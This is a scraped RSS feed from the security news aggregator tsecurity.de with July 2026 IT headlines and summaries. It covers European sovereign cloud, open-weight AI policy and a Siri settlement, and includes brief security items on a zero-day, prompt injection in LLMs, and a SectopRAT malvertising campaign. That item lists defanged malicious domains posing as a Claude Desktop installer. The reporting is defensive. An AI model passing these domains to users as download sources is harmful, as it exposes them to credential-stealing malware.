<pubDate>Sat, 25 Jul 2026 06:13:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.</p>



<p class="wp-block-paragraph">Atos Sovereign Cloud offers a range of controls for data management, providing customers with resilience and full control over their data, complying with existing European legislation on data residency.</p>



<p class="wp-block-paragraph">“Digital sovereignty has become a global operational priority for organizations that need to manage dependencies, jurisdictional exposure and disruption risks across complex digital environments. Atos Sovereign Cloud gives customers a practical way to apply sovereign controls to their most critical workloads, while preserving flexibility, resilience and the ability to innovate securely,” said Michael Kollar, Atos Group digital sovereignty leader.</p>



<p class="wp-block-paragraph">There has been a concerted effort by <a href="https://www.computerworld.com/article/4121422/europe-votes-to-tackle-deep-dependence-on-us-tech-in-sovereignty-drive.html">European organizations to meet US competition</a> head-on. Earlier this month, <a href="https://www.networkworld.com/article/4192767/cloud-sovereignty-first-four-providers-sign-up-to-cispe-certification-program.html">four companies signed up to the certification program</a> introduced by the European cloud body, CISPE,</p>



<p class="wp-block-paragraph">This is the latest effort by Atos to get the company back on track. In April, <a href="https://www.networkworld.com/article/4154186/french-government-take-bull-by-horns-for-e404-million.html">it sold its supercomputer company, Bull</a> to the French government, after a previous attempt in 2024 to <a href="https://www.cio.com/article/1310376/atos-deal-to-sell-its-legacy-service-business-falls-through.html">sell off its computer services division</a> and <a href="https://www.cio.com/article/2086965/atos-staves-off-bankruptcy-casts-wider-net-for-refinancing.html">after a refinancing deal</a> in the same year.</p>



<p class="wp-block-paragraph">The company implemented a further round of refinancing this year and <a href="https://www.atosgroup.com/en/press/first-phase-refinancing-strategy-completed" target="_blank" rel="noreferrer noopener">in its half-yearly report</a> claimed that this was an “important milestone” in securing the company’s future. However, in its first-quarter results revenue showed an organic decline of 11 percent, so any projected growth may be some time in the future. Whether its Sovereign Cloud offering is the harbinger of the revival remains to be seen.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[One of NASA’s Most Important Deep Space Observatories Hit by Spanish Wildfires]]></title>
<description><![CDATA[Flames burned through the Deep Space Communications Complex near Madrid, but NASA has been unable to assess the damage as a wildfire emergency grips the region.]]></description>
<link>https://tsecurity.de/de/3692703/it-nachrichten/one-of-nasas-most-important-deep-space-observatories-hit-by-spanish-wildfires/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692703/it-nachrichten/one-of-nasas-most-important-deep-space-observatories-hit-by-spanish-wildfires/</guid>
<pubDate>Sat, 25 Jul 2026 00:47:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Flames burned through the Deep Space Communications Complex near Madrid, but NASA has been unable to assess the damage as a wildfire emergency grips the region.]]></content:encoded>
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<title><![CDATA[BackupChain Stellt Neues Hyper-V Backup Für Windows Server 2025 Als Veeam-Alternative Vor]]></title>
<description><![CDATA[BackupChain bietet neues Hyper-V Backup für Windows Server 2025 mit optimierter Deduplizierung, schneller Recovery und Deep Verification ...]]></description>
<link>https://tsecurity.de/de/3692697/windows-server/backupchain-stellt-neues-hyper-v-backup-fuer-windows-server-2025-als-veeam-alternative-vor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692697/windows-server/backupchain-stellt-neues-hyper-v-backup-fuer-windows-server-2025-als-veeam-alternative-vor/</guid>
<pubDate>Sat, 25 Jul 2026 00:46:25 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[BackupChain bietet neues Hyper-V Backup für <b>Windows Server</b> 2025 mit optimierter Deduplizierung, schneller Recovery und Deep Verification ...]]></content:encoded>
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<title><![CDATA[The Department of Know: OpenAI hacks Hugging Face, Chinese LLM ban, Kratos takedown]]></title>
<description><![CDATA[This week’s Department of Know is hosted by Rich Stroffolino, with guests Nick Espinosa, host, Deep Dive Radio Show, and Dennis Pickett, vp, CISO, Westat. Missed the live show? Check it out on YouTube. The Department of Know is live…
Read more →
The post The Department of Know: OpenAI hacks Huggi...]]></description>
<link>https://tsecurity.de/de/3692621/it-security-nachrichten/the-department-of-know-openai-hacks-hugging-face-chinese-llm-ban-kratos-takedown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692621/it-security-nachrichten/the-department-of-know-openai-hacks-hugging-face-chinese-llm-ban-kratos-takedown/</guid>
<pubDate>Fri, 24 Jul 2026 23:39:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This week’s Department of Know is hosted by Rich Stroffolino, with guests Nick Espinosa, host, Deep Dive Radio Show, and Dennis Pickett, vp, CISO, Westat. Missed the live show? Check it out on YouTube. The Department of Know is live…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-department-of-know-openai-hacks-hugging-face-chinese-llm-ban-kratos-takedown/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-department-of-know-openai-hacks-hugging-face-chinese-llm-ban-kratos-takedown/">The Department of Know: OpenAI hacks Hugging Face, Chinese LLM ban, Kratos takedown</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Black Hat Stories | Gaurav Keerthi, CEO and Founder of StrongKeep]]></title>
<description><![CDATA[Author: Black Hat - Bewertung: 0x - Views:6 On this episode, Gaurav Keerthi, CEO and Founder of StrongKeep Cybersecurity, shares why Black Hat continues to be a must-attend event for the cybersecurity community. 

With every Black Hat experience offering something different, Black Hat brings toge...]]></description>
<link>https://tsecurity.de/de/3692503/it-security-video/black-hat-stories-gaurav-keerthi-ceo-and-founder-of-strongkeep/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692503/it-security-video/black-hat-stories-gaurav-keerthi-ceo-and-founder-of-strongkeep/</guid>
<pubDate>Fri, 24 Jul 2026 22:52:17 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hat - Bewertung: 0x - Views:6 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/5LpzTFJU6AI?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>On this episode, Gaurav Keerthi, CEO and Founder of StrongKeep Cybersecurity, shares why Black Hat continues to be a must-attend event for the cybersecurity community. <br />
<br />
With every Black Hat experience offering something different, Black Hat brings together passionate individuals, innovative companies, and deep technical expertise in one place. '<br />
<br />
From thought-provoking discussions on stage to valuable conversations throughout the event, Black Hat creates unique opportunities to learn, connect, and exchange ideas with the people shaping the future of cybersecurity.<br/></p>]]></content:encoded>
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<title><![CDATA[Nvidia, Microsoft, Meta Warn Against 'Premature Restrictions' of Open-Weight Models]]></title>
<description><![CDATA[Nvidia, Microsoft, Meta, Palantir, and more than 20 other tech companies signed an open letter urging policymakers not to impose "premature restrictions" on open-weight AI models, warning that broad limits could "stifle competition or drive innovation overseas." CNBC reports: They wrote that open...]]></description>
<link>https://tsecurity.de/de/3692435/it-security-nachrichten/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692435/it-security-nachrichten/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models/</guid>
<pubDate>Fri, 24 Jul 2026 22:11:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nvidia, Microsoft, Meta, Palantir, and more than 20 other tech companies signed an open letter urging policymakers not to impose "premature restrictions" on open-weight AI models, warning that broad limits could "stifle competition or drive innovation overseas." CNBC reports: They wrote that open-weight models strengthen competition and ensure that the benefits of the technology are "broadly shared rather than concentrated in a few hands." "Relying solely on closed models is not inherently safe: they can be breached, misused, or fail in ways that outsiders cannot detect," the letter said. "And concentrating advanced AI capabilities behind a small number of closed models compounds that risk."
 
Elon Musk, who runs an AI business under his rocket company SpaceX, also applified the letter on social media, writing that it has his "full support" in a post on X. SpaceX did not officially sign the letter. Greg Brockman, OpenAI's president, said Thursday that the company believes in broad access, and that he has not been involved in any conversations with the Trump administration about potentially banning Chinese open-weight models in the U.S.
 
"I think that, that fundamentally, AI and AI usage is something that is actually very important to democratize," Brockman told reporters during a briefing in New York City. "And so, for me, at a sort of deep level, I think that having more models, more usage, that is a good thing." OpenAI CEO Sam Altman addressed the letter in a post on X on Friday, writing that he wants the U.S. to win with both open-weight and proprietary models, and that he is "glad to see this."
 
[...] In the letter on Friday, the U.S. tech companies said that concerns about unlawful distillation should be addressed through "targeted legal and commercial frameworks" instead of with "sweeping restrictions on techniques that play an important role in AI innovation." "Our AI leadership will be judged not by one frontier AI model, but by whether the United States builds a strong, open ecosystem that diffuses into every sector," the letter said. "This is essential for creating opportunities for innovation and prosperity across the country." The letter follows a separate appeal signed by nearly 200 Silicon Valley companies, including Proton and Y Combinator, warning that restricting U.S. access to Chinese open-weight AI models could cripple the next generation of American startups. "American leadership requires two things: world-leading American open-weight models and continued access for U.S. builders to open models already available worldwide," the startup founders wrote. Instead of broad prohibitions, they argue the government should adopt targeted safeguards.
 
Of course, these signees "have an obvious economic stake in seeing open AI models flourish," notes TechCrunch. "Companies like Nvidia, Microsoft Azure, and other infrastructure providers have a vested interest in pushing for commoditized models: If models are interchangeable, people will buy more GPUs, rent more cloud capacity, and build more applications."<p></p><div class="share_submission">
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</div><p><a href="https://meta.slashdot.org/story/26/07/24/1911233/nvidia-microsoft-meta-warn-against-premature-restrictions-of-open-weight-models?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[‘Sugar’ Season 2, Episode 6 Recap: John Sugar Faces His Darkest Choice Yet]]></title>
<description><![CDATA[Sugar Season 2, Episode 6 pushes John Sugar deeper into a dangerous conspiracy as Vega closes in on Ji Moon and refuses to leave any witnesses behind.




Episode title: “Cautionary Tale”



Release date: July 24, 2026



Genre: Crime drama, mystery, neo-noir and science fiction



Season length:...]]></description>
<link>https://tsecurity.de/de/3692419/ios-mac-os/sugar-season-2-episode-6-recap-john-sugar-faces-his-darkest-choice-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692419/ios-mac-os/sugar-season-2-episode-6-recap-john-sugar-faces-his-darkest-choice-yet/</guid>
<pubDate>Fri, 24 Jul 2026 21:47:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sugar Season 2, Episode 6 pushes John Sugar deeper into a dangerous conspiracy as Vega closes in on Ji Moon and refuses to leave any witnesses behind.




Episode title: “Cautionary Tale”



Release date: July 24, 2026



Genre: Crime drama, mystery, neo-noir and science fiction



Season length: Eight episodes



Season finale: August 7, 2026




Spoiler warning



The following section contains major spoilers from Sugar Season 2, Episode 6.



Sugar learns the truth about Operation Fire Sale



After hiding Ji Moon in a rehabilitation facility and arranging a fake death certificate, Sugar continues investigating the operation connected to Vega. He discovers that the conspiracy, known as Operation Fire Sale, extends far beyond the local drug trade.



The people behind the scheme plan to flood selected neighborhoods with cheap fentanyl. Once overdose deaths increase, someone inside the city alters the official records, allowing the victims to disappear from government systems. The group can then exploit housing grants and properties connected to those missing residents.



Sugar finally has evidence linking Vega to the operation. However, possessing the evidence does not immediately solve his problem because Vega remains determined to find Ji and silence him permanently.



Who is Peg Rosenthal?



The episode opens with a flashback from 11 years earlier, revealing the identity of the woman who has appeared in Sugar’s visions throughout the season.



Her name was Peg Rosenthal, another member of Sugar’s species who became deeply attached to human life. She enjoyed human food, relationships and money before becoming involved in financial crimes.



Sugar was ordered to collect Peg and send her home. During their journey, she warned him that becoming human was a slippery slope. Peg believed her actions had changed her so much that her people would never accept her again.



When Sugar briefly leaves to buy tissues, Peg covers herself and the vehicle in gasoline before taking her own life. Her death explains Sugar’s fear that his growing connection to humanity will eventually destroy him as well.



Sugar cannot bring himself to kill Vega



Sugar enters Vega’s apartment with a gun and appears ready to end the threat. However, he stops himself before pulling the trigger.



His hesitation becomes even more dangerous when Vega meets him later at the hotel bar. Sugar explains that Ji will remain silent, but Vega refuses to take the risk. He makes it clear that Ji cannot stay alive.



Sugar tells Vega that he had an opportunity to kill him earlier. Vega responds that Sugar should have taken it, leaving the two men heading toward an unavoidable confrontation.



Meanwhile, Sugar and Charlotte become closer, showing how quickly he continues to embrace human emotions and desires. With Ji still in hiding and Vega preparing his next move, Sugar has placed himself in too deep with nowhere safe left to go.



What do you think Sugar will do when Vega finally finds Ji? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[How Fidelis Elevate® Achieves Active Threat Detection]]></title>
<description><![CDATA[Explore the technical mechanics behind Fidelis Elevate®'s Active Threat Detection, including Deep Session Inspection, signal correlation algorithms, and real-time threat analysis capabilities.
The post How Fidelis Elevate® Achieves Active Threat Detection appeared first on Fidelis Security.]]></description>
<link>https://tsecurity.de/de/3692360/it-security-nachrichten/how-fidelis-elevate-achieves-active-threat-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692360/it-security-nachrichten/how-fidelis-elevate-achieves-active-threat-detection/</guid>
<pubDate>Fri, 24 Jul 2026 21:08:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Explore the technical mechanics behind Fidelis Elevate®'s Active Threat Detection, including Deep Session Inspection, signal correlation algorithms, and real-time threat analysis capabilities.</p>
<p>The post <a href="https://fidelissecurity.com/threatgeek/xdr-security/active-threat-detection-with-fidelis-elevate/">How Fidelis Elevate® Achieves Active Threat Detection</a> appeared first on <a href="https://fidelissecurity.com/">Fidelis Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Nvidia reveals deep dive into what makes Vera CPU tick — with the super-powered Olympus core promising huge performance increases and more]]></title>
<description><![CDATA[Nvidia reveals deepest Vera CPU disclosure yet: 88 custom Olympus cores with internally measured SPEC CPU 2026 numbers that show it winning against rivals.]]></description>
<link>https://tsecurity.de/de/3692296/it-nachrichten/nvidia-reveals-deep-dive-into-what-makes-vera-cpu-tick-with-the-super-powered-olympus-core-promising-huge-performance-increases-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692296/it-nachrichten/nvidia-reveals-deep-dive-into-what-makes-vera-cpu-tick-with-the-super-powered-olympus-core-promising-huge-performance-increases-and-more/</guid>
<pubDate>Fri, 24 Jul 2026 20:35:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nvidia reveals deepest Vera CPU disclosure yet: 88 custom Olympus cores with internally measured SPEC CPU 2026 numbers that show it winning against rivals.]]></content:encoded>
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<title><![CDATA[Did Chinese AI Steal From Anthropic, and OpenAI Loses Control of Two Models]]></title>
<description><![CDATA[On this episode of Uncanny Valley, we dive into accusations that China’s Moonshot AI stole from  Anthropic, and how the US Army needs to cut back on AI use.]]></description>
<link>https://tsecurity.de/de/3692245/it-nachrichten/did-chinese-ai-steal-from-anthropic-and-openai-loses-control-of-two-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692245/it-nachrichten/did-chinese-ai-steal-from-anthropic-and-openai-loses-control-of-two-models/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On this episode of Uncanny Valley, we dive into accusations that China’s Moonshot AI stole from  Anthropic, and how the US Army needs to cut back on AI use.]]></content:encoded>
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<title><![CDATA[Apple’s $250 Million Siri Settlement Approved, iPhone Users Could Get Up to $95]]></title>
<description><![CDATA[Apple’s $250 million settlement over the delayed launch of its new Siri features has received preliminary court approval, bringing eligible iPhone owners closer to a possible payout of up to $95. The settlement website has not launched yet, so customers do not need to submit any forms or take act...]]></description>
<link>https://tsecurity.de/de/3692182/ios-mac-os/apples-250-million-siri-settlement-approved-iphone-users-could-get-up-to-95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692182/ios-mac-os/apples-250-million-siri-settlement-approved-iphone-users-could-get-up-to-95/</guid>
<pubDate>Fri, 24 Jul 2026 19:20:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple’s $250 million settlement over the delayed launch of its new Siri features has received preliminary court approval, bringing eligible iPhone owners closer to a possible payout of up to $95. The settlement website has not launched yet, so customers do not need to submit any forms or take action at this stage.



The lawsuit followed Apple’s decision to delay several Siri features that it had promoted alongside Apple Intelligence in June 2024. These features included personal context awareness, on-screen understanding, and deeper controls inside supported apps.



Apple used product presentations, its website, and a television advertisement featuring Bella Ramsey to promote the new Siri experience. However, the company delayed the personalised Siri upgrade in March 2025, which led customers to file a class action lawsuit over alleged false advertising.



Who qualifies for the Apple Siri settlement?



Eligible users must live in the United States and must have purchased one of the following iPhone models between June 10, 2024, and March 29, 2025:




iPhone 15 Pro



iPhone 15 Pro Max



iPhone 16



iPhone 16e



iPhone 16 Plus



iPhone 16 Pro



iPhone 16 Pro Max




Customers will likely need to provide purchase details, a serial number, or other device information when submitting a claim. The final requirements will appear on the official settlement website once it goes live.



Each approved claim will receive an estimated payment of $25 per eligible device. However, the payout can rise to as much as $95 if fewer people submit valid claims than expected.



According to the July 17 court document, eligible customers should receive email notices within about 45 days of preliminary approval. Customers who do not receive an email can still submit a claim if they meet the eligibility requirements.



Apple announced its revamped Siri system at WWDC 2026, and the assistant is now available through the iOS 27 developer beta. Apple plans to release iOS 27 publicly in September for the iPhone 15 Pro and newer models.]]></content:encoded>
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<title><![CDATA[Zero-day flaw in Check Point SmartConsole is under exploitation]]></title>
<description><![CDATA[Researchers warned the vulnerability offers an attacker the ability to make key changes to security configurations. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Zero-day flaw in Check Point SmartConsole is under exploitation
Read more →
The post Z...]]></description>
<link>https://tsecurity.de/de/3691933/it-security-nachrichten/zero-day-flaw-in-check-point-smartconsole-is-under-exploitation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691933/it-security-nachrichten/zero-day-flaw-in-check-point-smartconsole-is-under-exploitation/</guid>
<pubDate>Fri, 24 Jul 2026 17:47:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Researchers warned the vulnerability offers an attacker the ability to make key changes to security configurations. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Zero-day flaw in Check Point SmartConsole is under exploitation</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/zero-day-flaw-in-check-point-smartconsole-is-under-exploitation/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/zero-day-flaw-in-check-point-smartconsole-is-under-exploitation/">Zero-day flaw in Check Point SmartConsole is under exploitation</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The most vulnerable AI products are also some of the most commonly exposed online]]></title>
<description><![CDATA[It is becoming increasingly easy for hackers to target vulnerable AI tools on companies’ networks, even as those companies come to depend on them for more tasks. This article has been indexed from Cybersecurity Dive – Latest News Read the…
Read more →
The post The most vulnerable AI products are ...]]></description>
<link>https://tsecurity.de/de/3691871/it-security-nachrichten/the-most-vulnerable-ai-products-are-also-some-of-the-most-commonly-exposed-online/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691871/it-security-nachrichten/the-most-vulnerable-ai-products-are-also-some-of-the-most-commonly-exposed-online/</guid>
<pubDate>Fri, 24 Jul 2026 17:07:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>It is becoming increasingly easy for hackers to target vulnerable AI tools on companies’ networks, even as those companies come to depend on them for more tasks. This article has been indexed from Cybersecurity Dive – Latest News Read the…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-most-vulnerable-ai-products-are-also-some-of-the-most-commonly-exposed-online/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-most-vulnerable-ai-products-are-also-some-of-the-most-commonly-exposed-online/">The most vulnerable AI products are also some of the most commonly exposed online</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[AI's Biggest Hidden Security Flaw]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 2x - Views:12 Modern LLMs process prompts by predicting the next token from context. They don't inherently distinguish system instructions from user instructions, and many "reasoning" models use the same underlying architecture while producing...]]></description>
<link>https://tsecurity.de/de/3691785/it-security-video/ais-biggest-hidden-security-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691785/it-security-video/ais-biggest-hidden-security-flaw/</guid>
<pubDate>Fri, 24 Jul 2026 16:22:44 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 2x - Views:12 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/zKXmtFm-Gyw?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Modern LLMs process prompts by predicting the next token from context. They don't inherently distinguish system instructions from user instructions, and many "reasoning" models use the same underlying architecture while producing reasoning-style text.<br />
<br />
That makes prompt or command injection a persistent security challenge and highlights an important limitation: fluent explanations aren't necessarily evidence of genuine reasoning or understanding. Developers need additional safeguards instead of assuming the model can reliably separate trustworthy instructions from malicious ones.<br />
<br />
Should future AI models include stronger architectural separation between trusted instructions and user input, or can software safeguards solve the problem?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#LLM #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
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<title><![CDATA[DEF CON Middle East Postponed]]></title>
<description><![CDATA[The safety of our community is our highest priority.
    For this reason, we have decided to postpone DEF CON Middle East. The evolving security situation in the region makes it impossible to concentrate on delivering the experience attendees deserve.
    We understand that this news is disappoin...]]></description>
<link>https://tsecurity.de/de/3691751/hacking/def-con-middle-east-postponed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691751/hacking/def-con-middle-east-postponed/</guid>
<pubDate>Fri, 24 Jul 2026 16:07:28 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img src="https://defcon.org/images/defcon-middle-east/dcme-postponed.webp" alt="DEF CON Middle East postponed"> </p>

    <p>The safety of our community is our highest priority.<br><br>
    For this reason, we have decided to postpone DEF CON Middle East. The evolving security situation in the region makes it impossible to concentrate on delivering the experience attendees deserve.<br><br>
    We understand that this news is disappointing, but we believe it's the most responsible choice right now. We look forward to bringing the full DEF CON experience to friends new and old in Bahrain, and we will share new dates and information as soon as they are confirmed.<br><br>
    In the meantime, we'd like to offer our sincere thanks to the community, sponsors, and supporters for their understanding and continued trust. We hope and expect to welcome you to DEF CON Middle East soon, under better circumstances for everyone.<br><br>
    -The DEF CON Middle East Team</p>]]></content:encoded>
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<title><![CDATA[Language Model Hallucination Evaluation with GraphEval]]></title>
<description><![CDATA[Turning the key principles and methodological stages of GraphEval into a simulated practical scenario to better understand its usefulness and key implications in understanding and combating LLM hallucinations.]]></description>
<link>https://tsecurity.de/de/3691615/ai-nachrichten/language-model-hallucination-evaluation-with-grapheval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691615/ai-nachrichten/language-model-hallucination-evaluation-with-grapheval/</guid>
<pubDate>Fri, 24 Jul 2026 15:05:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Turning the key principles and methodological stages of GraphEval into a simulated practical scenario to better understand its usefulness and key implications in understanding and combating LLM hallucinations.]]></content:encoded>
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<title><![CDATA[SectopRAT Gives Attackers Remote Access to Passwords, Credit Cards, Cookies and Corporate Files]]></title>
<description><![CDATA[SectopRAT is at the center of a highly targeted malvertising campaign abusing Anthropic’s Claude platform to deliver a stealthy, HVNC‑enabled RAT that gives attackers deep, persistent access to victims’ passwords, credit cards, cookies and corporate files. The artifact masqueraded as a genuine Cl...]]></description>
<link>https://tsecurity.de/de/3691482/it-security-nachrichten/sectoprat-gives-attackers-remote-access-to-passwords-credit-cards-cookies-and-corporate-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691482/it-security-nachrichten/sectoprat-gives-attackers-remote-access-to-passwords-credit-cards-cookies-and-corporate-files/</guid>
<pubDate>Fri, 24 Jul 2026 14:10:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SectopRAT is at the center of a highly targeted malvertising campaign abusing Anthropic’s Claude platform to deliver a stealthy, HVNC‑enabled RAT that gives attackers deep, persistent access to victims’ passwords, credit cards, cookies and corporate files. The artifact masqueraded as a genuine Claude Desktop installer but redirected victims to claude.ai.download-app[.]us and then to downloading-api.it[.]com/html/claude/win, where […]</p>
<p>The post <a href="https://gbhackers.com/sectoprat-campaign/">SectopRAT Gives Attackers Remote Access to Passwords, Credit Cards, Cookies and Corporate Files</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[SectopRAT Gives Attackers Remote Access to Passwords, Credit Cards, Cookies and Corporate Files]]></title>
<description><![CDATA[SectopRAT is at the center of a highly targeted malvertising campaign abusing Anthropic’s Claude platform to deliver a stealthy, HVNC‑enabled RAT that gives attackers deep, persistent access to victims’ passwords, credit cards, cookies and corporate files. The artifact masqueraded as…
Read more →...]]></description>
<link>https://tsecurity.de/de/3691474/it-security-nachrichten/sectoprat-gives-attackers-remote-access-to-passwords-credit-cards-cookies-and-corporate-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691474/it-security-nachrichten/sectoprat-gives-attackers-remote-access-to-passwords-credit-cards-cookies-and-corporate-files/</guid>
<pubDate>Fri, 24 Jul 2026 14:10:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SectopRAT is at the center of a highly targeted malvertising campaign abusing Anthropic’s Claude platform to deliver a stealthy, HVNC‑enabled RAT that gives attackers deep, persistent access to victims’ passwords, credit cards, cookies and corporate files. The artifact masqueraded as…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/sectoprat-gives-attackers-remote-access-to-passwords-credit-cards-cookies-and-corporate-files/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/sectoprat-gives-attackers-remote-access-to-passwords-credit-cards-cookies-and-corporate-files/">SectopRAT Gives Attackers Remote Access to Passwords, Credit Cards, Cookies and Corporate Files</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Seeing AI Agents Is Not Enough. Security Teams Must Enforce What They Can Do]]></title>
<description><![CDATA[AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we've collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are so many approaches, from prompt filtering t...]]></description>
<link>https://tsecurity.de/de/3691425/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691425/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/</guid>
<pubDate>Fri, 24 Jul 2026 13:41:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we've collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are so many approaches, from prompt filtering to identity-layer access controls. Where we've collectively landed is that understanding the intent of]]></content:encoded>
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<title><![CDATA[Atos launches sovereign cloud service to power comeback]]></title>
<description><![CDATA[Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.



Atos Sovereign Cloud offers a range of controls for data mana...]]></description>
<link>https://tsecurity.de/de/3691386/it-security-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691386/it-security-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</guid>
<pubDate>Fri, 24 Jul 2026 13:26:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.</p>



<p class="wp-block-paragraph">Atos Sovereign Cloud offers a range of controls for data management, providing customers with resilience and full control over their data, complying with existing European legislation on data residency.</p>



